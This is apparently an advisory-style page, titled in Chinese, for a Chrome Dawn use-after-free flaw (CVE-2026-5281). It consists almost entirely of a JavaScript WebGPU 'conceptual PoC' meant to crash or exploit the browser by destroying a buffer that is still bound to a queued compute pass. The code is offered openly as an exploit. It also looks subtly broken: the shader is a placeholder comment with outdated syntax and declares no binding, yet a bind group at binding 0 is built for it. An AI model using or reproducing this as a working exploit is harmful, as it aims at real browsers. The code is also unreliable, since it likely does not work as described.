CVE-2026-5281 Google Chrome Dawn释放后重用漏洞

// Conceptual PoC for CVE-2026-5281 (Dawn UAF) // This demonstrates the trigger mechanism using WebGPU. async function trigger_uaf() { if (!navigator.gpu) { console.log("WebGPU not supported"); return; } const adapter = await navigator.gpu.requestAdapter(); const device = await adapter.requestDevice(); // Step 1: Create a buffer that will be manipulated const bufferSize = 1024; const buffer = device.createBuffer({ size: bufferSize, usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.COPY_SRC, }); const commandEncoder = device.createCommandEncoder(); // Step 2: Create a compute shader that interacts with the buffer const shaderModule = device.createShaderModule({ code: ` @stage(compute) @workgroup_size(1) fn main() { // Malicious operation interacting with the buffer } ` }); const computePipeline = device.createComputePipeline({ layout: 'auto', compute: { module: shaderModule, entryPoint: 'main', }, }); const passEncoder = commandEncoder.beginComputePass(); passEncoder.setPipeline(computePipeline); // Bind the buffer to the pipeline const bindGroup = device.createBindGroup({ layout: computePipeline.getBindGroupLayout(0), entries: [{ binding: 0, resource: { buffer: buffer } }], }); passEncoder.setBindGroup(0, bindGroup); // Step 3: Destroy the buffer while it might still be referenced in the command queue // This simulates the Use-After-Free condition in Dawn buffer.destroy(); passEncoder.dispatchWorkgroups(1); passEncoder.end(); // Submit commands to attempt triggering the crash or exploit device.queue.submit([commandEncoder.finish()]); console.log("PoC executed. Check for browser crash or exploit behavior."); } trigger_uaf();